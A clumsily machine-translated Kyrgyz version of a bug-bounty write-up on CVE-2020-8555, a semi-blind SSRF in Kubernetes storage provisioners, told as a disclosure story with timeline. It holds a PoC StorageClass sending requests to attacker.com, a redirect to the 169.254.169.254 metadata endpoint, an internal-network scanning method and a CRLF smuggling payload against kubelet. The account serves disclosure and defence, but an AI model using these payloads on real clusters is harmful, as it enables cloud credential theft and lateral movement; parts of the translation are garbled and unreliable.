🥇Кеп Kubernetesтин аялуулугу жөнүндө гана болбогондо...

Эскертүү. котормо.: Бул макаланын авторлору алсыздыкты кантип ачкандыгы жөнүндө кеңири айтып беришет CVE-2020–8555 Кубернетес шаарында. Башында бул өтө коркунучтуу көрүнбөсө да, башка факторлор менен бирге анын критикалык деңгээли кээ бир булут провайдерлери үчүн максималдуу болуп чыкты. Бир катар уюмдар адистерди эмгектери учун марттык менен сыйлашкан.

Биз кимбиз

Биз Кубернетестеги аялуу жерди биргелешип ачкан эки француз коопсуздук изилдөөчүлөрүбүз. Биздин ысымдарыбыз Брис Ауграс жана Кристоф Хаукиерт, бирок көптөгөн Bug Bounty платформаларында биз Reeverzax жана Hach деп аталат:

Брис Ауграс - Groupe Asten компаниясы;
Christophe Hauquiert - Nokiaдагы Kubernetes архитектору.

Эмне болду?

Бул макала биздин кадимки изилдөө долбоору күтүлбөгөн жерден мүчүлүштүктөрдү аңдоочулардын жашоосундагы эң кызыктуу укмуштуу окуяга айланганын бөлүшүүнүн ыкмасы (жок дегенде азыр).

Сиз билгендей, мүчүлүштүктөрдү аңдоочулардын бир нече көрүнүктүү өзгөчөлүктөрү бар:

алар пицца жана пиво менен жашашат;
алар башкалардын баары уктап жатканда иштешет.

Биз бул эрежелерден четте элекпиз: биз адатта дем алыш күндөрү жолугуп, уйкусуз түндөрдү хакердик менен өткөрөбүз. Бирок бул түндөрдүн бири абдан адаттан тыш аяктады.

Башында жолугушууга катышууну талкуулайлы деп жатканбыз ОД кийинки күнү. Башкарылган тейлөө чөйрөсүндөгү Kubernetes коопсуздугу жөнүндө маектешүү учурунда биз SSRFдин эски идеясын эстедик (Сервер тараптын өтүнүчүн жасалмалоо) жана аны чабуул сценарийи катары колдонууну чечтим.

Саат 11:XNUMXдө изилдөөбүздү жүргүзүү үчүн отуруп, жыйынтыгына абдан ыраазы болуп, таң эрте уктадык. Дал ушул изилдөөнүн аркасында биз MSRC Bug Bounty программасына туш болдук жана артыкчылыктарды жогорулатууну ойлоп таптык.

Бир нече жума/ай өттү жана биздин күтүлбөгөн натыйжа Azure Cloud Bug Bounty тарыхындагы эң жогорку сыйлыктардын бирине алып келди - биз Kubernetesтен алган сыйлыкка кошумча!

Биздин изилдөө долбоорубуздун негизинде, Kubernetes Продукт Коопсуздук Комитети жарыялады CVE-2020–8555.

Эми мен мүмкүн болушунча табылган кемчилик тууралуу маалымат тараткым келет. Табууну баалайсыз жана техникалык деталдарды infosec коомчулугунун башка мүчөлөрү менен бөлүшөсүз деп үмүттөнөбүз!

Ошентип, бул жерде биздин окуя ...

контекст

Эмне болгонун түшүнүү үчүн, келгиле, алгач Kubernetes булут башкарылган чөйрөдө кантип иштээрин карап көрөлү.

Мындай чөйрөдө Kubernetes кластерин түзгөндө, башкаруу катмары адатта булут камсыздоочусунун жоопкерчилигинде болот:

Башкаруу катмары булут провайдеринин периметринде, ал эми Kubernetes түйүндөрү кардардын периметринде жайгашкан.

Көлөмдөрдү динамикалык бөлүштүрүү үчүн аларды тышкы сактагычтан динамикалык камсыздоо жана аларды PVC (туруктуу көлөм талабы, б.а. томго суроо) менен салыштыруу механизми колдонулат.

Ошентип, PVC түзүлгөндөн жана K8s кластериндеги StorageClass менен байланышкандан кийин, көлөмдү камсыз кылуу боюнча андан аркы иш-аракеттер кубе/булут контроллерунун менеджери тарабынан кабыл алынат (анын так аталышы чыгаруудан көз каранды). (Эскертүү. котормо.: Биз буга чейин булут провайдерлеринин бири үчүн аны ишке ашыруунун мисалында CCM жөнүндө көбүрөөк жазганбыз бул жерде.)

Kubernetes тарабынан колдоого алынган провайдерлердин бир нече түрлөрү бар: алардын көпчүлүгү камтылган оркестрдин өзөгү, ал эми башкалары кластердеги поддондорго жайгаштырылган кошумча камсыздоочулар тарабынан башкарылат.

Биздин изилдөөбүздө биз төмөндө көрсөтүлгөн ички көлөмдү камсыздоо механизмине басым жасадык:

Камтылган Kubernetes провайдеринин жардамы менен көлөмдөрдү динамикалык камсыздоо

Кыскача айтканда, Kubernetes башкарылган чөйрөдө орнотулганда, контроллердин менеджери булут провайдеринин жоопкерчилигинде болот, бирок көлөм түзүү өтүнүчү (жогорку диаграммада 3-сан) булут провайдеринин ички тармагынан чыгып кетет. Жана бул жерде нерселер чындап кызыктуу болот!

Хакердик сценарий

Бул бөлүмдө биз жогоруда айтылган иш процессинин артыкчылыктарын жана булут кызматын камсыздоочунун ички ресурстарына кантип киргенибизди түшүндүрөбүз. Ал ошондой эле ички эсептик дайындарды алуу же артыкчылыктарды жогорулатуу сыяктуу айрым аракеттерди кантип аткара аларыңызды көрсөтөт.

Бир жөнөкөй манипуляция (бул учурда, Кызмат тараптын өтүнүчүн жасалмалоо) кардар чөйрөсүнөн чыгып, башкарылган K8s астында ар кандай кызмат көрсөтүүчүлөрдүн кластерлерине өтүүгө жардам берди.

Изилдөөбүздө биз GlusterFS провайдерине басым жасадык. Бул контекстте мындан аркы аракеттердин ырааттуулугу сүрөттөлгөнүнө карабастан, Quobyte, StorageOS жана ScaleIO бирдей аялуучулукка дуушар болушат.

Динамикалык көлөмдү камсыздоо механизмин кыянаттык менен пайдалануу

сактоо классын талдоо учурунда GlusterFS Golang кардар булак кодунда биз байкаганКөлөмдү түзүү учурунда жөнөтүлгөн биринчи HTTP сурамында (3) параметрдеги ыңгайлаштырылган URL'дин аягына чейин resturl кошулат /volumes.

Бул кошумча жолду кошуу менен кутулууну чечтик # параметрде resturl. Бул жерде биз жарым сокур SSRF аялуулугун текшерүү үчүн колдонгон биринчи YAML конфигурациясы (мисалы, жарым сокур же жарым сокур SSRF жөнүндө көбүрөөк окуй аласыз, бул жерде — болжол менен. котормо.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Андан кийин биз Кубернетес кластерин алыстан башкаруу үчүн бинардыкты колдондук kubectl. Адатта, булут провайдерлери (Azure, Google, AWS ж.б.) бул утилитада колдонуу үчүн эсептик дайындарды алууга мүмкүнчүлүк берет.

Ушунун аркасында мен "өзгөчө" файлымды колдоно алдым. Kube-контроллер-менеджер натыйжада HTTP сурамын аткарды:

kubectl create -f sc-poc.yaml

Кол салуучунун көз карашынан жооп

Андан көп өтпөй эле биз максаттуу серверден HTTP жообун ала алдык - буйруктар аркылуу describe pvc же get events kubectl менен. Чынында эле: бул демейки Kubernetes драйвери эскертүүлөрүндө/ката билдирүүлөрүндө өтө кеңири...

Бул жерде шилтеме менен мисал келтирилген https://www.google.frпараметр катары коюу resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Мындай мамиледе биз сыяктуу суроолор менен чектелдик HTTP POST жана кайтаруу коду болсо, жооп органынын мазмунун ала алган жок 201. Ошондуктан, биз кошумча изилдөө жүргүзүүнү чечтик жана бул хакердик сценарийди жаңы ыкмалар менен кеңейттик.

Биздин изилдөөбүздүн эволюциясы

Өркүндөтүлгөн сценарий №1: Ички маалыматтарды чогултуунун ийкемдүү жолун камсыз кылуу үчүн HTTP ыкмасын өзгөртүү үчүн тышкы серверден 302 багыттоосун колдонуу.
Өркүндөтүлгөн сценарий №2: LAN сканерлөө жана ички ресурстарды ачууну автоматташтыруу.
Өркүндөтүлгөн сценарий №3: ылайыкташтырылган HTTP суроо-талаптарын түзүү жана kube-контроллер журналдарынан алынган маалыматтарды алуу үчүн HTTP CRLF + контрабанданы («суроо-талап контрабандасын») колдонуу.

Техникалык мүнөздөмөлөрү

Изилдөөдө Azure Kubernetes кызматы (AKS) Түндүк Европа аймагында Kubernetes 1.12 версиясы менен колдонулган.
Жогоруда сүрөттөлгөн сценарийлер Kubernetesтин акыркы чыгарылыштарында аткарылган, үчүнчү сценарийди кошпогондо, анткени ага Golang версиясы ≤ 1.12 менен курулган Kubernetes керек болчу.
Чабуулчунун тышкы сервери - https://attacker.com.

Өркүндөтүлгөн сценарий №1: HTTP POST өтүнүчүн GETге багыттоо жана купуя маалыматтарды алуу

Баштапкы ыкма чабуулчунун серверинин кайтаруу конфигурациясы менен жакшыртылды 302 HTTP кайра кодуPOST сурамын GET суроосуна айландыруу үчүн (диаграммадагы 4-кадам):

Кардардан келген биринчи суроо (3). GlusterFS (Controller Manager), POST түрү бар. Бул кадамдарды аткаруу менен биз аны GETке айланта алдык:

Параметр катары resturl StorageClass ал көрсөтүлгөн http://attacker.com/redirect.php.
акыркы чекити https://attacker.com/redirect.php төмөнкү Жайгашкан жердин аталышы менен 302 HTTP статус коду менен жооп берет: http://169.254.169.254. Бул башка ички ресурс болушу мүмкүн - бул учурда, багыттоо шилтемеси мисал катары гана колдонулат.
демейки боюнча net/http китепканасы Голанг суроо-талапты кайра багыттайт жана POSTду 302 статус коду менен GETге айлантат, натыйжада максаттуу ресурска HTTP GET суроо-талабы пайда болот.

HTTP жооп органын окуу үчүн эмне кылышыңыз керек describe PVC объекти:

kubectl describe pvc xxx

Бул жерде биз ала алган JSON форматындагы HTTP жооптун мисалы:

Ошол убакта табылган алсыздыктын мүмкүнчүлүктөрү төмөнкү жагдайлардан улам чектелген:

Чыгуучу суроо-талапка HTTP аталыштарын киргизүү мүмкүн эмес.
Денедеги параметрлер менен POST сурамын аткаруу мүмкүн эмес (бул иштеп жаткан etcd инстанциясынан негизги маанини суроо үчүн ыңгайлуу 2379 эгер шифрленбеген HTTP колдонулса, порт).
Статус коду 200 болгондо жана жоопто JSON Мазмун түрү жок болгондо жооптун негизги мазмунун алуу мүмкүн эмес.

Өркүндөтүлгөн сценарий №2: Жергиликтүү тармакты сканерлөө

Бул жарым сокур SSRF ыкмасы андан кийин булут провайдеринин ички тармагын сканерлөө жана жооптордун негизинде ар кандай угуу кызматтарын (Метадата инстанциясы, Kubelet ж.б.у.с.) сурамжылоо үчүн колдонулган. куб контролеру.

Биринчиден, Kubernetes компоненттеринин стандарттуу угуу порттору аныкталган (8443, 10250, 10251 ж.б.), андан кийин сканерлөө процессин автоматташтырууга туура келди.

Ресурстарды сканерлөөнүн бул ыкмасы өтө спецификалык экенин жана классикалык сканерлер жана SSRF куралдары менен шайкеш келбей турганын көрүп, биз бардык процессти автоматташтырган bash скриптинде өзүбүздүн жумушчуларыбызды түзүүнү чечтик.

Мисалы, ички тармактын 172.16.0.0/12 диапазонун тез сканерлөө үчүн параллелдүү 15 жумушчу ишке киргизилген. Жогорудагы IP диапазону мисал катары гана тандалган жана сиздин атайын кызмат көрсөтүүчүңүздүн IP диапазонуна өзгөрүшү мүмкүн.

Бир IP даректи жана бир портту сканерлөө үчүн сиз төмөнкүлөрдү кылышыңыз керек:

акыркы текшерилген StorageClass жок кылуу;
мурунку текшерилген Туруктуу көлөм дооматын алып салуу;
ичинде IP жана Порт баалуулуктарын өзгөртүү sc.yaml;
жаңы IP жана порт менен StorageClass түзүү;
жаңы PVC түзүү;
PVC үчүн describe аркылуу сканерлөө натыйжаларын чыгарып алыңыз.

Өркүндөтүлгөн сценарий №3: CRLF инъекциясы + Kubernetes кластеринин "эски" версияларында HTTP контрабанда

Мындан тышкары, провайдер кардарларга K8s кластеринин эски версияларын сунуштаган и аларга кубе-контролёр-менеджердин журналдарына жетки-лик берди, эффект ого бетер маанилуу болуп калды.

Чынында эле, чабуулчу үчүн HTTP суроо-талаптарын өзгөртүү алда канча ыңгайлуу, анын каалоосу боюнча толук HTTP жооп алуу үчүн.

Акыркы сценарийди ишке ашыруу үчүн төмөнкү шарттар аткарылышы керек эле:

Колдонуучуда kube-контроллер-менеджер журналдарына кирүү мүмкүнчүлүгү болушу керек (мисалы, Azure LogInsights ичинде).
Kubernetes кластери Голангдын 1.12ден төмөн версиясын колдонушу керек.

Биз GlusterFS Go кардары менен жасалма максаттуу сервердин ортосундагы байланышты симуляциялаган жергиликтүү чөйрөнү орноттук (азыр PoC жарыялоодон баш тартабыз).

Табылды аялуу, 1.12ден төмөн Голанг версияларына таасир этет жана хакерлерге HTTP контрабанда/CRLF чабуулдарын жүргүзүүгө мүмкүндүк берет.

Жогоруда айтылган жарым сокур SSRF бириктирүү менен вместе муну менен биз өзүбүзгө жаккан суроо-талаптарды жөнөтө алдык, анын ичинде баш аттарды, HTTP ыкмасын, параметрлерди жана кубе-контроллер-менеджер иштеткен маалыматтарды алмаштыруу.

Бул жерде параметрде иштеген "жемдин" мисалы resturl Окшош чабуул сценарийин ишке ашырган StorageClass:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Натыйжада ката болуп саналат талап кылынбаган жооп, контроллер журналдарында жазылган билдирүү. Демейки боюнча иштетилген көп сөздүн аркасында HTTP жооп билдирүүсүнүн мазмуну да ошол жерде сакталат.

Бул концепциянын далили алкагындагы эң эффективдүү “жемибиз” болду.

Бул ыкманы колдонуу менен биз ар кандай башкарылган k8s провайдерлеринин кластерлерине төмөнкү чабуулдардын айрымдарын ишке ашыра алдык: метадайындар инстанцияларындагы эсептик маалыматтар менен артыкчылыктарды жогорулатуу, etcd башкы инстанцияларында (шифрленбеген) HTTP сурамдары аркылуу Master DoS ж.б.

таасирлери

Kubernetes расмий билдирүүсүндө биз тапкан SSRF аялуулугу боюнча, ал бааланган CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Эгерде биз Kubernetes периметри менен байланышкан аялуу гана карасак, бүтүндүк вектору (бүтүндүк вектору) катары квалификацияланат эч ким.

Бирок, башкарылган тейлөө чөйрөсүнүн контекстинде мүмкүн болуучу кесепеттерге баа берүү (жана бул биздин изилдөөбүздүн эң кызыктуу бөлүгү болду!) Критикалык CVSS10/10 көптөгөн дистрибьюторлор үчүн.

Төмөндө булут чөйрөлөрүндөгү потенциалдуу таасирлерди баалоодо эске алууларыбызды түшүнүүгө жардам берүү үчүн кошумча маалымат берилген:

актык

Алынган ички эсептик дайындарды колдонуу менен буйруктарды алыстан аткарыңыз.
Жергиликтүү тармакта табылган башка ресурстар менен IDOR (Коопсуз Түз Объект Шилтемеси) ыкмасын колдонуу менен жогорудагы сценарийди кайра чыгаруу.

купуялуулук

Чабуул түрү Латералдык Кыймыл булут эсептик дайындарын уурдоо үчүн рахмат (мисалы, метадата API).
Жергиликтүү тармакты сканерлөө аркылуу маалымат чогултуу (SSH версиясын, HTTP серверинин версиясын аныктоо, ...).
Метадата API сыяктуу ички API'лерди сурамжылоо аркылуу инстанция жана инфраструктура маалыматын чогултуңузhttp://169.254.169.254, ...).
Булуттагы эсептик дайындарды колдонуу менен кардар маалыматтарын уурдоо.

болушу

Кол салуу векторлоруна байланыштуу бардык эксплуатация сценарийлери бүтүндүк, кыйратуучу аракеттер үчүн колдонулушу мүмкүн жана кардар периметринен (же башка) башкы инстанциялардын жеткиликсиз болушуна алып келиши мүмкүн.

Биз башкарылган K8s чөйрөсүндө болгондуктан жана бүтүндүккө болгон таасирин баалагандыктан, жеткиликтүүлүккө таасир эте турган көптөгөн сценарийлерди элестете алабыз. Кошумча мисалдарга etcd маалымат базасын бузуу же Kubernetes API'ге критикалык чалуу кирет.

хронологиясы

6-декабрь, 2019-жыл: Аялуу MSRC Bug Bountyге билдирилди.
3-январь, 2020-жыл: Үчүнчү тарап Kubernetes иштеп чыгуучуларына коопсуздук маселеси боюнча иштеп жатканыбызды билдирди. Жана алардан SSRFди ички (негизги) алсыздык катары кароону суранды. Биз андан кийин көйгөйдүн булагы тууралуу техникалык маалыматтар менен жалпы отчет бердик.
15-январь, 2020-жыл: Биз Kubernetes иштеп чыгуучуларына алардын талабы боюнча техникалык жана жалпы отчетторду бердик (HackerOne платформасы аркылуу).
15-январь, 2020-жыл: Kubernetes иштеп чыгуучулары мурунку релиздер үчүн жарым-жартылай сокур SSRF + CRLF инъекциясы негизги кемчилик катары караларын эскертишти. Биз дароо башка кызмат көрсөтүүчүлөрдүн периметрлерин талдоону токтоттук: K8s командасы азыр негизги себеп менен күрөшүп жаткан.
15-январь, 2020-жыл: MSRC сыйлыгы HackerOne аркылуу алынган.
16-январь, 2020-жыл: Kubernetes PSC (Продукт коопсуздугу боюнча комитети) аялуулукту таанып, мүмкүн болгон курмандыктардын көптүгүнө байланыштуу аны марттын ортосуна чейин жашыруун сактоону суранды.
11-февраль, 2020-жыл: Google VRP сыйлыгы алынды.
4-март, 2020-жыл: Kubernetes сыйлыгы HackerOne аркылуу алынды.
15-март, 2020-жыл: Башында пландаштырылган ачыктоо COVID-19 кырдаалынан улам кийинкиге жылдырылды.
1-июнь, 2020-жыл: Kubernetes + Microsoftтун аялуу жөнүндө биргелешкен билдирүүсү.

TL; DR

Пиво ичип пицца жейбиз :)
Биз Кубернетестин негизги кемчилигин таптык, бирок андай кылуу ниетибиз жок болчу.
Биз ар кандай булут провайдерлеринин кластерлерине кошумча талдоо жүргүздүк жана кошумча укмуштуудай бонустарды алуу үчүн алсыздыктан келтирилген зыянды көбөйтө алдык.
Сиз бул макалада көптөгөн техникалык маалыматтарды таба аласыз. Биз аларды сиз менен талкуулоого кубанычтабыз (Twitter: @ReeverZax & @__hach_).
Ар кандай формалдуулук жана отчеттуулук күтүлгөндөн алда канча узакка созулуп кеткени белгилүү болду.

шилтемелер

Котормочудан PS

Биздин блогдон дагы окуңуз:

Source: www.habr.com

Кеп Kubernetesтин аялуу жерлери жөнүндө гана болбогондо...